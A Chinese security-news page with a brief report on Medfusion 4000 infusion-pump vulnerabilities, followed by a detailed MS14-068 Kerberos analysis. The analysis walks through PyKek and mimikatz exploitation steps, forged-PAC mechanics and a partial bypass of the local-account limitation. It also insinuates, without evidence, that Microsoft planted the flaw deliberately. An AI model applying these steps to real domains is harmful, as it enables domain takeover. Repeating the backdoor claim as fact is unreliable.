    本月早些时候,1024rd 也报道过美国食品药品监管局(FDA)发现的46.5万心脏起搏器存在安全漏洞的事件。如今,DHS ICS-CERT在上周四发布了相关报告,称他们已经发现急性护理环境中使用的Medfusion 4000注射泵存在被黑客远程访问及操纵的风险,并发布了公开警示信息。

    黑客可以远程访问医用注射泵,给你提供致命剂量

    医用注射泵中存在 8 个安全漏洞

    安全研究人员目前发现在明尼苏达州特种医疗器械制造商 Smiths Medical 制造的 Medfusion 4000 无线注射输液泵中存在八个安全漏洞。这家企业,史密斯医疗可以说是一家全球知名的医疗设备和器材供应商,它的产品广泛应用在全球的医院和护理机构中。而注射泵则是医疗设备中保障输液精度时使用的医疗器械,通常在急性重症监护及手术等情况中。

    而研究员 Scott Gayou 发现的这些漏洞评级为 high ,远程攻击者可以获取权限访问注射泵并改变预期操作。

    根据 ICS-CERT 的通告也表示,攻击者可能会损害设备中的通信模块和治疗模块。

    其中编号为 CVE-2017-12725 的漏洞 CVSS 得分为9.8分,漏洞与使用硬编码的用户名和密码相关,如果默认配置没有改变就可以直接建立无线连接。

    漏洞具体情况一栏

    high 级别的漏洞包括如下:某些情况下可被远程代码执行的缓冲区溢出(CVE-2017-12718)、无验证(CVE-2017-12720)、连接FTP时存在硬编码的凭据(CVE-2017-12724)、容易受到中间人(MitM)攻击的缺乏主机证书验证(CVE-2017-12721)。

    而其余漏洞则是 medium 严重性的缺陷,攻击者可能会利用以上漏洞来破坏设备的通信和操作模块,使用硬编码凭证进行 telnet 验证,并从配置文件获取密码。

    黑客可以远程访问医用注射泵,给你提供致命剂量

    这些漏洞影响到运行1.1,1.5和1.6版固件的设备,Smiths Medical 计划在2018年1月发布新版本1.6.1,以解决这些问题。

    目前可以提供给医疗机构的建议如下:

    为注射泵分配静态IP地址

    监测恶意服务器的网络活动

    在隔离网络上配置注射泵

    设置强密码

    定期创建备份

    直到补丁发布

    *参考来源:thehackernews,raps,Elaine编译,转载请注明1024rd.COM

  • 深入解读MS14-068漏洞:微软精心策划的后门?

    0×0 背景

    初次认识该漏洞是在1024rd上对该漏洞的预警《漏洞预警:系统权限提升漏洞(CVE-2014-6324)影响全版本Windows服务器》

    微软今天(2014-11-18)发布了一个紧急补丁,修复了一个影响全部版本Windows服务器的严重漏洞。今天发布的MS14-068漏洞补丁用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324),该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后,该域用户就可以控制整个域的所有机器了。http://www.1024rd.com/articles/system/52127.html

    那么,问题来了,该漏洞的威力真的有这么大吗?

    网上出现了Github上爆出的该漏洞的Python利用程序,Python Kerberos Exploitation Kit,也就是PyKek,当然,其它站点也都开始了转发。经过测试,Win7的普通域用户运行该漏洞程序确实能够成为域管理员权限。但网上大家的测试都是在域用户的本地账户中才能测试成功。

    为什么Windows关于MS14-068的公告板中并没有提出这一点?按道理来说,越是有限制的漏洞利用对软件开发人员越是有利的,漏洞利用的机会越少,他们受到的谴责就会越少。

    那么,问题又来了,真的只能用域用户的本地账户漏洞才能利用成功吗?

    自从1024rd发布该漏洞预警后,再也没看到另有分析文章出现,甚至也没有POC,这让我为心目中伟大的1024rd捉急哇,心情低落到极点,所以,自己决心从头开始研究该漏洞。

    这样的话,问题又来了,作为不懂Kerberos协议的小白,这个漏洞到底是怎么产生的?

    带着种种疑问,我开始了分析之旅,时隔半月,分析完成后,没想到却发现了一个天大的秘密,我从下面几点向大家分析一下关于这个漏洞的方方面面,来揭示这个笔者认为有人精心策划的漏洞。

    0×1 Python版PoC的测试利用

    首先网上的Python版PyKek,搭建域环境、Python环境,对该漏洞进行了测试:

    (1)测试环境

    目的:将普通域用户权限提升为域控权限(漏洞利用后,net
    use //swg.server.com/c$可以直接访问域控的网络资源)

    深入解读MS14-068漏洞:微软精心策划的后门?

    (2)测试步骤

    A.利用域账户domainuser/Dom12345登录普通域机器Win7,获得该域账户的域SID:

    深入解读MS14-068漏洞:微软精心策划的后门?

    B.以本地账户test/123456登录普通域机器Win7,运行PyKek漏洞利用程序:

    深入解读MS14-068漏洞:微软精心策划的后门?

    此时在C:/Users/test文件件会产生MIT格式的TGT文件TGT_domainuser@SERVER.COM.ccache

    C.利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

    深入解读MS14-068漏洞:微软精心策划的后门?

    利用klist命令能够看到mimikatz创建缓存证书前后的区别。

    创建缓存证书之前:

    深入解读MS14-068漏洞:微软精心策划的后门?

    创建缓存之后:

    深入解读MS14-068漏洞:微软精心策划的后门?

    D. 在普通域机器Win7的本地账户中执行:

    深入解读MS14-068漏洞:微软精心策划的后门?

    你会惊奇地发现,不用提供Win2003域控的账号密码就直接可以连接到其C盘,也就是说,现在可以访问Win2003域控机器C盘:

    深入解读MS14-068漏洞:微软精心策划的后门?

    正如宣称的那样,漏洞成功利用后,域用户在不知道域控密码的情况下,可以随意访问域控上的资源,怪不得大家都说,有了这个漏洞,再也不用狂扫密码了。

    这是网上普遍转发的一种漏洞利用姿势,需要注意的是,域SID是以域用户登录Win7域机器获得的,而漏洞利用则是在该域机器的本地账户下才能测试成功。如果搭建了测试环境,你会发现,“先用域账户获得SID,然后不得不再登录本地账户测试漏洞”这一过程是多么繁(dan)琐(teng)。

    当然,后面会讨论为什么在域账户下无法利用成功,并提出一种绕过方法。

    漏洞利用就是这样的,接下来我们分析一下这个漏洞到底是怎样产生的。

    0×2 关于Kerberos协议

    在谈MS14-068漏洞之前,有必要先了解一下Kerberos协议。

    Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。

    下面我们从Kerberos是如何设计出来的来学习该协议的原理。

    这个协议解决的根本问题,假设A和B共有一个秘密,在一个非安全网络环境中,A怎样才能向B证明自己就是A。

    最简单的方式就是,A直接将秘密发送给B,由B来判断这个秘密的真伪。但在非安全网络环境中,秘密可能会被窃听或中间人攻击,所以这种方式不可取。

    接下来考虑的是,A用秘密作为密钥加密一段文字生成一段密文,然后将文字本身和密文一起发给B,B接收后用秘密解密密文得到文字,然后和接收的文字对比,如果两者一致,那么也能证明秘密的正确性,从而也能验证A的身份。

    但如果该认证请求被窃听,攻击者能得到加密后密文和加密前的明文,只要时间允许,总能推导出密钥的数值,也就是秘密肯定会被窃取。所以密码界有个规定,长期存在的密钥不适合在网络中传输,否则总会有被窃取的风险。

    不使用长期存在的密钥,那使用短期存在的密钥进行验证应该是没问题的,关键是,谁来提供这个短期存在密钥给A和B?于是就出现了第三方可信机构KeyDistribution Center,KDC。

    在请求认证之前,Client-A先去向KDC申请本次向Server-B认证需要的SessionKey,由KDC将SessionKey分发给Client-A和Server-B,最后Client-A就可以利用这个SessionKey向Server-B进行认证了。为了SessionKey不被窃取,该SessioKey用A和B自身的密码分别加密:

    深入解读MS14-068漏洞:微软精心策划的后门?

    这里会有两个问题:

    (1)A向KDC申请SessionKey,它可能很快就收到SessionKey,但B可能因为网络环境原因,很晚或者根本收不到SessionKey,这样就导致认证无法进行,解决办法就是,KDC将两份加密的SessionKey都发给A,由A在向B发出认证请求时将原本属于Server-B的SessionKey一同发送给Server-B

    (2)A提出SessionKey的申请时,KDC凭什么就生成了SessionKey给了A,也就是说,KDC缺乏对A的认证,所以在分发SessionKey之前,KDC需要增加对A的认证,解决办法就是,将KDC机构分成两部分:

    AS:Authentication Service,用于KDC对A的认证 TGS:Ticket Granting Ticket,用于KDC向A和B分发Session Key

    另外,还有一点需要注意的是,为了对短期有效的SessionKey进行验证,Kerberos协议要求系统内的所有主机基于时间同步,所以Client-A向Server-B进行认证就不用SessionKey加密一段密文后还得发送一段明文过去,直接用SessionKey加密当前时间即可。

    到此为止,整个Kerberos协议大体框架已经出来了:

    深入解读MS14-068漏洞:微软精心策划的后门?

    需要注意的是,这里涉及到两个SessionKey的申请,一个是SessionKeya-kdc,另一个是SessionKeya-b,这是因为基于刚才的三方认证以及尽量使用短期有效密钥的思想,本协议变成了两次三方认证:

    (1)AS作为Client-A与TGS之间的第三方,需要完成对A进行认证,同时为Client-A向TGS提出SessionKeya-b请求提供一个SessionKeya-kdc,根据刚才的分析,为了防止TGS无法收到SessionKey,如图第②步,原本需要发往TGS的SessionKeya-kdc(被KDC密码加密为TGT)会一同发往Client-A,由Client-A在第③步中转交给TGS

    (2)TGS作为Client-A与Server-B之间的第三方,需要为A和B分别提供SessionKeya-b,为了防止Server-B无法收到SessionKey,如图第④步,原本需要发往Server-B的SessionKeya-b(被Server-B密码加密为service Ticket)会一同发往Client-A,由Client-A在第⑤步中转交给Server-B

    上述过程也就是Kerberos协议的基本框架,基于微软对Kerberos的介绍,上面其实对应的是下面微软提供的Kerberos协议流程:

    深入解读MS14-068漏洞:微软精心策划的后门?

    或者你也可以认为,是网上解释MS14-068漏洞时用的这张示意图:

    深入解读MS14-068漏洞:微软精心策划的后门?

    具体来说,Kerberos协议分为以下步骤(第六步可选):

    第①步:KRB_AS_REQ:Client-A发送Authenticator向KDC的AS服务认证自己的身份(通过提供自身密码加密的一个时间戳TimeStamp)

    第②步:KRB_AS_REP:AS通过KDC数据库中存储的Client-A密码的副本,解密收到的Authenticator,如果解密出的TimeStamp符合要求,则AS服务认为Client-A就是所谓的Client-A。认证成功后,AS服务生成一个短期有效的SessionKeya-kdc,将该Key使用A的密码副本加密成密文1,另外将Key连同时间戳标志(控制该SessionKey的有效时间)通过TGS服务的密码也就是KDC的密码加密为密文2(称为TGT),将这两个密文组合成KRB_AS_REP返回给Client-A

    第③步:KRB_TGS_REQ:Client-A在接收到KRB_AS_REP后,首先使用自身密码解密密文1得到SessionKeya-kdc,此时需要注意的是,密文2(TGT)是被KDC的密码加密的,所以Client-A无法解密,这也是Kerberos协议设计的精妙之处,既解决了Server端(TGS相对于Client-A也称之为Server端)无法及时接收SessionKey的问题,又不怕Client-A对该TGT的伪造,因为Client-A不知道Server端的密码

    得到SessionKeya-kdc后,Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的SessionKeya-b,连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS

    第④步:KRB_TGS_REP:TGS在接收到KRB_TGS_REP之后,利用KDC密码解密TGT获得本来就该发送给自己的SessionKeya-kdc,然后用其解密KRB_TGS_REQ中的Authenticator得到Client-A发送过来的时间戳,如果时间戳符合要求,则生成一个短期有效的SessionKeya-b,注意此时利用SessionKeya-kdc将SessionKeya-b加密为密文1,然后利用Server-B的密码将SessionKeya-b加密为密文2(称为ServiceTicket),两个密文一同构成KRB_TGS_REP返回给Client-A

    第⑤步:KRB_AP_REQ:Client-A在接收到KRB_TGS_REP之后,首先使用缓存的SessionKeya-kdc将密文1中的SessionKeya-b解密出来,然后利用其加密时间戳生成Authenticator用于向B进行对自身的验证,另外,和刚才TGT一样,密文2也就是ServiceTicket是用Server-B的密码加密的,所以Client-A无法解密,也就无法伪造,这也同样解决了在三方认证中作为Server端的B无法及时接收SessionKey的问题,又不怕Client-A对ServiceTicket的伪造

    第⑥步:KRB_AP_REP:Server-B受到KRB_AP_REQ之后,利用自身密码解密ServiceTicket,得到SessionKeya-b,然后用SessionKeya-b解密Authenticator得到时间戳,验证A的身份

    这就是整个Kerberos协议的基本流程。

    0×3 PAC与Kerberos的关系

    上面是标准Kerberos协议的基本流程,MIT也实现了一套标准的Kerberos协议,而微软在Windows平台上的Kerberos并没有采用MIT的实现,而是对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege
    Attribute Certificate),特权属性证书。

    为什么会增加这些呢?可以这样理解,当用户Client-A与Server-B完成认证,只是向Server-B证明了Client-A就是所谓的Client-A,但此时Client-A如果需要访问Server-B上的网络资源,但Server-B现在其实并不知道Client-A是否有访问自身网络资源的权限(Kerberos协议中并没有规定权限问题)

    难不成此时Server-B必须再向KDC验证Client-A是否有访问网络资源的权限?当然不是,微软实现Kerberos认证协议的同时巧妙地引入了PAC解决了这个问题。(至少MS14-068漏洞之前大家是这样认为的)

    在一个域中,如何才能知道某个域用户所拥有的权限呢?自然是需要提供User的SID和所在组Group的SID。必须了解的一个前提是,KDC、A和B三者中,B只信任KDC所提供的关于A到底是什么权限,所以在一个域初始时,KDC上拥有A和B的权限。现在需要解决的是,KDC必须告诉B关于A的权限,这样B验证A的权限后才能决定让不让A访问自身的网络资源。

    为了最终使得Server-B能知道Client-A所具有的权限,微软在KRB_AS_REP中的TGT中增加了Client-A的PAC(特权属性证书),也就是Client-A的权限,包括Client-A的User的SID、Group的SID:

    深入解读MS14-068漏洞:微软精心策划的后门?

    可以看到被KDC加密的TGT中,不仅包括了被加密的Session
    Keya-kdc,还包括KRB_AS_REQ中申请者(Client-A)的权限属性证书,为了防止该特权证书被篡改(即使被KDC加密,Client-A无法轻易解密,但谁也无法保证绝对的安全),在PAC的尾部增加了两个校验Server Signature和KDC Signature:

    这两个校验一个是Server Signature,另一个是KDC Signature,对于Client-A与AS服务来说,Server代表的是TGS服务,KDC代表的是AS服务(AS作为Client-A与TGS的第三方信任机构),而AS服务与TGS服务具有相同的krgtgt账号,所以这两个校验都是krgtgt账号的密码生成的,当然,整个TGT也是用KDC的密码也就是krgtgt账号密码加密的,它们三者不同的是,用的算法和加密内容有所不同。

    微软是这样打算的,无论如何也要把PAC从KDC传送到Server-B,为了在Kerberos认证过程中实现,微软选择了如下做法:

    将PAC放在TGT中加密后从AS服务经Client-A中转给TGS服务,再放在由TGS服务返回的Service
    Ticket中加密后经Client-A中转给Server-B

    深入解读MS14-068漏洞:微软精心策划的后门?

    需要注意的是,在KRB_TGS_REQ阶段,携带PAC的TGT被TGS服务接收后,认证A的合法性后(解密Authenticator符合要求)会将PAC解密出来,验证尾部两个签名的合法性,如果合法则认为PAC没有被篡改,于是重新在PAC的尾部更换了另外两个签名,一个是Server Signature,这次是以Server-B的密码副本生成的签名(因为对于Client-A和Server-B,这次的第三方机构是TGS服务),另外一个是KDC Signature,这次不再使用KDC的长期有效的Key,而是使用在AS阶段生成的短期有效的SessionKeya-b,(网上说的是第二个签名仍旧是KDC Key,但如果用KDC中krgtgt账号密码生成签名,最后转发给Server-B后,由于没有krbtgt的密码而无法验证第二个签名的正确性,所以这里用SessionKeya-b生成签名才是合理的,或许这里理解错了,敬请指出)最终成为New Signed PAC被拷贝在ServericeTicket中被加密起来。

    最终绕过来绕过去,KDC上所拥有的关于Client-A的权限证书PAC终于发给了Server-B,Server-B在对Client-A进行认证的同时,同时也能判断Client-A有没有访问网络资源的权限。

    到这里PAC与Kerberos协议的关系也就明朗了。

    0×4 从Pykek源码分析MS14-068漏洞

    现在切入正题,开始研究MS14-068漏洞的产生。

    首先看一下微软关于MS14-068公告板:

    This security update resolves a privately reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account. An attacker could use these elevated privileges to compromise any computer in the domain, including domain controllers. An attacker must have valid domain credentials to exploit this vulnerability. The affected component is available remotely to users who have standard user accounts withdomain credentials;this is not the case for users with local account credentialsonly.

    仔细看看,其实这个公告板就是说了这个洞的危害,可以把没有域控权限的普通域用户提权为域控权限。另外,网上也有两种对该漏洞产生原因的说法:

    从客户端解释:

    当用户进行登录身份验证服务,服务会验证PAC中的签名,并使用PAC中的数据为用户创建一个登录令牌。譬如说,如果PAC能够携带有效的签名表明“Secpulse”是“域管理”安全组的成员,那么创建的登录令牌就将Secpulse当作“域管理”组中成员。这样的Kerberos认证存在问题,攻击者可以伪造身份,从域用户提升到域管理权限。

    从服务端解释:

    微博@jacktang310 程序员在实现KDC服务器的PAC signature时没有严格控制使用checksum的算法,在原来的设计中要用到HMAC系列的checksum算法,也就是必须要有key的参与,但实现的时候允许所有的checksum算法都可以,包括MD5,这样客户端就可以伪造PAC的包了。

    从上面的说法来看,该漏洞利用是通过客户端来伪造高权限的PAC产生的,但根据前面对PAC与Kerberos关系的分析,貌似没有破绽来说明客户端有机会伪造PAC,那到底是怎么回事呢?带着这个疑惑,我开始分析了Github上很火的PyKek攻击包源码。

    首先,在0×1小节POC代码测试步骤C中,使用Pykek攻击包期间利用Wireshark抓包如下:

    深入解读MS14-068漏洞:微软精心策划的后门?

    mimikatz在内存新建缓存证书后,net
    use过程中的抓包如下:

    深入解读MS14-068漏洞:微软精心策划的后门?

    看到抓包结果,我立即产生了两个疑惑:

    (1)传说中Kerberos协议中的KRB_AP_REQ和KRB_AP_REP过程哪里去了? (2)为什么会产生两次TGS_REQ和TGS_REP过程??

    第一个问题的原因很好解决,查阅资料得知,由于Kerberos协议是一种认证网络协议,它通常是其它网络有关协议的前提,比如说SMB、FTP等,在SMB等协议的实现中SMB第一个请求包实际上会包含KRB_AP_REQ,这也就是协议整合吧,我们通过打开第一个SMB请求的数据包就可发现:

    深入解读MS14-068漏洞:微软精心策划的后门?

    而第二个问题,到底为什么会产生两次TGS_REQ和TGS_REP过程,这个疑惑基本是我在全部分析完整个漏洞才搞懂的,但它却影响了我整个分析过程,下面一点点向大家解释。

    既然网上都说,本次漏洞利用是通过客户端伪造高权限PAC产生的,那PyKek工具产生的AS_REQ、AS_REP和TGS_REQ、TGS_R
    EP过程中肯定有端倪,下面我们从PyKek源码仔细分析一下

    深入解读MS14-068漏洞:微软精心策划的后门?

    可以看到,真个漏洞利用过程经历了以下几步:

    深入解读MS14-068漏洞:微软精心策划的后门?

    不知道你是否注意,接收AS_REP后,能解密得到TGT,但接收TGS_REP后,却同样接收的是TGT,这是怎么回事?原理上不是说TGS_REP之后,Client端接收的是ServiceTicket吗?其实这就是该漏洞的根源,下面根据源码逐步分析一下具体过程。

    0×4.1 构造AS_REQ

    首先看一下AS_REQ的构造过程,这里是代码主体:

    深入解读MS14-068漏洞:微软精心策划的后门?

    上面对于AS_REQ的构造,主要用current_time和Key构造了用于提交给AS服务验证的Authenticator,另外,却增加了一个include-PAC标志,通过查看源代码,发现该include-PAC标志被设置为了false:

    深入解读MS14-068漏洞:微软精心策划的后门?

    查阅资料得知,微软在实现PAC的过程中,特意增加了一个include-PAC标志,通常情况下,AS_REQ请求中如果该标志被设置为true,只要AS服务对Client-A通过认证,那么会在返回的AS_REP数据包中的TGT中加入PAC信息;而如果在AS_REQ请求时,include-PAC标志被设置为false,那么AS_REP返回的TGT中就不会包含PAC信息。

    这一点,我们在刚才Wireshark抓包中显示AS_REQ数据包和AS_REP数据包的大小就可以看出来(通常携带PAC信息的AS_REP数据包可以达到上千字节)。

    0×4.2 接收AS_REP

    将AS_REQ发送给KDC后,KDC按照协议规定将会返回两个东西:利用user_key加密的Session
    Keya-kdc和被KDC密码加密的TGT(不包含PAC信息)。下面我们看一下PyKek是如何接收AS_REP并解密的:

    深入解读MS14-068漏洞:微软精心策划的后门?

    具体对session_key的解密也和之前的原理类似:

    深入解读MS14-068漏洞:微软精心策划的后门?

    根据上面的接收过程,并参考Wireshark对AS_REP的截图更形象地理解整个解密过程:

    深入解读MS14-068漏洞:微软精心策划的后门?

    0×4.3 构造PAC及TGS_REQ

    之后,PyKek就开始了最重要的一步:构造PAC并放入TGS_REQ中。下面是整个过程:

    深入解读MS14-068漏洞:微软精心策划的后门?

    分别看一下两个过程。

    0×4.3.1 构造PAC

    深入解读MS14-068漏洞:微软精心策划的后门?

    由于前面我们学习了PAC的整个结构,所以不难看出来该地方构造的PAC由三部分组成:

    1. User SID & Group SID 2. Chksum of Server_key 3. Chksum of Kdc_key

    通过深入跟踪源码,可以看出,User
    SID & Group SID的构造中,其实是将该域用户的SID截断,留取前面的部分:

    深入解读MS14-068漏洞:微软精心策划的后门?

    然后构造高权限的User
    SID & Group SID:

    深入解读MS14-068漏洞:微软精心策划的后门?

    对于后面两个chksum的构造:

    深入解读MS14-068漏洞:微软精心策划的后门?

    由前面的定义可知:

    深入解读MS14-068漏洞:微软精心策划的后门?

    可以很容易看出,这里直接用不需要Key的MD5构造的签名。也就是说什么什么意思呢,只要用户构造了前面的data(User
    SID & Group SID),只需对data进行MD5运算,生成一个32位的MD5值即可。

    服务端对于MD5签名又是如何验证的呢?它只需要将前面的data取出来,进行MD5运算,如果得到的MD5值,与后面的签名一致,则认为该签名合法。

    但是,到这里,可能会有疑问,关于PAC尾部的签名,不是说需要server_key和kdc_key的参与吗?这就是微软犯的第一个错误:

    在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

    所以PyKek在客户端的攻击代码中很巧妙地利用了这个漏洞,规定使用不需要Key的MD5进行签名,只要签名构造的User
    SID & Group SID权限信息在传输过程中不改变,那么服务端肯定能验证通过。

    那肯定有人还有疑问,PAC不是被放在TGT中吗?但根据include-PAC标志设置为false后,AS_REP解密得到的TGT是不携带PAC信息的,难不成要把构造的PAC放在TGT中?但TGT是被KDC密码加密的,客户端根本无法解密。

    这就是微软犯的第二个错误:

    PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

    下面我们通过TGS_REQ的构造过程来看一下这个错误。

    0×4.3.2 构造TGS_REQ

    调用:

    深入解读MS14-068漏洞:微软精心策划的后门?

    定义:

    深入解读MS14-068漏洞:微软精心策划的后门?

    通过上面的构造过程,结合Wireshark对TGS_REQ的截图:

    深入解读MS14-068漏洞:微软精心策划的后门?

    可以得知,PAC被放在了TGS_REQ数据包中的REQ_BODY中,被subkey加密了,而TGT被放在REQ_BODY前面的PADATA中,这也就是说,TGT中没有携带PAC信息,并且可以注意到,TGS_REQ中也设置了include-PAC标志信息为false。

    另外得知,PAC信息被subkey加密,我们看一下subkey的来源:

    深入解读MS14-068漏洞:微软精心策划的后门?

    subkey竟然是Client端生成的一个随机数!

    PyKek为了使得KDC能够解密获取被加密在REQ_BODY中的PAC信息,也一并把这个生成的subkey随机数放在TGS_REQ数据包中的Authenticator发给了KDC服务器。

    在KDC接收TGS_REQ后,可笑的是,它
    可以把PAC信息给解密出来了,并且由于微软犯的第一个错误:允许任意加密算法的签名,很明显,该PAC信息会被验证为合法的PAC信息。

    也就是说,微软所犯第二个错误触发的两个关键:

    (1)在TGS_REQ的REQ_BODY中放上被加密的PAC信息,并把加密用到的Subkey放到Authenticator中

    (2)TGS_REQ数据包中的include-PAC标志被设置为false

    只要按照上面的要求构造TGS_REQ数据包,KDC就会“错误地”将PAC信息解密并验证签名正确性,但你以为这样就完了吗?接下来,还有更令人吃惊的事情会发生。

    0×4.4 接收TGS_REP

    深入解读MS14-068漏洞:微软精心策划的后门?

    下面是具体解密的实现过程:

    深入解读MS14-068漏洞:微软精心策划的后门?

    根据Kerberos协议原理可知,在返回的TGS_REP中,TGS服务会返回给Clinet-A两个东西:被SessionKeya-kdc加密的SessionKeya-b,另外一个是Service
    Ticket,但从上面解密的过程中,Client-A解密获取SessionKeya-b竟然用的是Subkey,而我们知道,subkey是一个客户端随意生成的随机数,这到底是怎么回事?

    起初,我也很是疑惑,甚至都想放弃,因为实在分析不下去了,自己分析的过程和协议原理竟然有着这么多不同,我也怀疑过PyKek作者是不是写错了,但通过无数次的查找资料,终于在国外一个安全博客上找到了说法,这也是微软犯的第三个令人吃惊的错误:

    只要TGS_REQ按照刚才那两个要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;

    在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

    没错,是重新生成一个TGT,而不是ServiceTicket。

    如果你对前面对协议的介绍,很容易知道,TGT原本是通过AS_REP过程返回给Client-A的,而现在“毁人三观”的事情发生了,在TGS_REP过程中,KDC竟然返回个Client-A一个TGT。

    到这里就明白了,PyKek攻击包中TGS_REP过程接收的其实是TGT,SessionKey为SessionKeya-kdc。

    最终,这个TGT和SessionKeya-kdc制作成了TGT_domainuser@SERVER.COM.ccache文件。

    而接下来观察mimikatz工具创建的内存证书,也可以验证上述微软所犯的第三个错误:

    深入解读MS14-068漏洞:微软精心策划的后门?

    利用TGS_REP接收的Ticket和Session
    Key创建的内存证书,其Server为krbtgt/SERVER.COM,再根据我们队两次三方认证的理解,很容易就知道这是AS_REQ和AS_REP过程中才会将Server端认定为krbtgt,也就是说,接收的Ticket实质为TGT。

    这样就能理解为啥net use时,会再多一次TGS_REQ和TGS_REP过程了,因为漏洞利用过程中的TGS_REQ和TGS_REP所完成的并不是申请ServiceTicket,而是通过“畸形”TGS_REQ请求申请的另外一个伪造后又增加了PAC信息的TGT,所以在net use之前必须再进行一次TGS_REQ与TGS_REP过程,利用缓存的TGT证书,申请用于net use(其Server为cifs)的ServiceTicket,这里从net use成功后,klist命令增加的内存证书中可以验证这一现象:

    深入解读MS14-068漏洞:微软精心策划的后门?

    对于缓存证书,这里根据微软的说明,可以补充一点背景知识:

    Credentials Cache The credentials cache is managed by the Kerberos SSP, which runs in the LSA&#039;s security context. Whenever tickets and keys need to be obtained or renewed, the LSA calls the Kerberos SSP to accomplish the task. From the client&#039;s point of view, a TGT is just another ticket. Before the client attempts to connect to any service, the client first checks the user credentials cache for a service ticket to that service. If it does not have one, it checks the cache again for a TGT. If it finds a TGT, the LSA fetches the corresponding logon session key from the cache, uses this key to prepare an authenticator, and sends both the authenticator and the TGT to the KDC, along with a request for a service ticket for the service. In other words, gaining admission to the KDC is no different from gaining admission to any other service in the domain—it requires a session key, an authenticator, and a ticket (in this case, a TGT).

    也就是说,net use之前,系统会从Credentials
    Cache中查看是否有ServiceTicket,如果没有则寻找TGT,找到后就发送给KDC申请ServiceTicket。

    到这里,整个漏洞的原因就清晰了。

    0×5 铁证如山:这是谁的精心策划

    下面我们总结一下通过上面的分析找到的微软所犯的三个错误:

    第一个错误:

    在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

    第二个错误:

    PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

    第三个错误:

    只要TGS_REQ按照刚才漏洞要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;

    在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

    在我分析出来这些之后,我感到深深地震惊,这个漏洞的产生真实太不可思议了,明明PAC需要放在TGT中,而微软添加了一个include-PAC标志设置为false两次后,就能导致PAC可以放在其它地方;明明是需要key的签名,微软却允许任意签名算法,包括不带key的;明明是TGS_REP返回的是ServiceTicket,微软却根Kerberos协议开了天大的玩笑,返回了一个TGT。

    我只想说,这(TMD)得需要多么大的疏忽,才能让微软的员工犯下如此“巧妙的”错误,而且这个漏洞的触发真的是(TMD)太需要技巧了。

    到这里,我只能以一个疑问结束我的震惊:这是谁的精心策划?答案留给读者思考吧。

    0×6 干货:如何突破“本地账户才能漏洞利用”的限制

    按照网上的测试,该漏洞一般用域用户的本地账户会利用成功。

    但如果做过这个漏洞测试的童鞋肯定明白,首先必须登录域用户得到其在域中的SID(如果大家知道如何在本地账户下得到域用户的SID,请告知我!@#¥%……&*)

    然后再登录本地账户测试漏洞,这是一件多么蛋疼的事情,于是,基于这个问题,我开始分析为什么在域用户下该漏洞无法利用成功。

    当然,我在域用户下也测试过这个漏洞,当然,起初是不成功的。但利用PyKek是可以生成TGT_domainuser@SERVER.COM.ccache,并且mimikatz也可以将该文件写进缓存证书,也就是说TGT在域用户下可以被写入内存作为缓存证书。那问题出在哪里呢?net
    use命令肯定没问题,最终我把问题定位在了缓存证书上。

    为什么这样说呢?是因为偶然的一次测试中,我发现了一个奇怪的现象:

    在本地账户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数为0,而用mimikatz注入之后,变成1个,net
    use之后,变为2个。

    也就是说,net
    use后会产生一个ServiceTicket被放进内存中。这点没有什么变化。

    而当我在域用户下做类似测试时,却惊奇地发现:

    在域用户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数是4个,如下面:

    深入解读MS14-068漏洞:微软精心策划的后门?

    而当我使用mimikatz注入缓存证书以后,变为:

    深入解读MS14-068漏洞:微软精心策划的后门?

    可以发现,之后TGT改变了,后面的三个缓存证书没有改变(第二个就是net
    use所使用的Service
    Ticket)

    这里我突然又想到了缓存证书的作用:

    net
    use之前,系统会从Credentials
    Cache中查看是否有ServiceTicket,如果没有则寻找TGT,找到后就发送给KDC申请ServiceTicket。

    也就是说,mimikatz工具注入后,改变的是TGT,但net
    use使用的ServiceTicket没有被修改,还是域用户登录时生成的普通域用户权限的ServiceTicket,而根据对本地账户中测试的了解,起初内存中是没有net
    use的ServiceTicket对应的缓存证书的,而是注入后,net
    use重新生成的缓存证书。

    那关键就来了,有没有办法在域用户环境中清除net
    use需要用到的普通域用户权限的ServiceTicket对应的缓存证书,然后注入漏洞利用生成的高权限TGT,最后由net
    use重新生成一个高权限的ServiceTicket对应的缓存证书(本地账户漏洞利用过程就是这样的)?

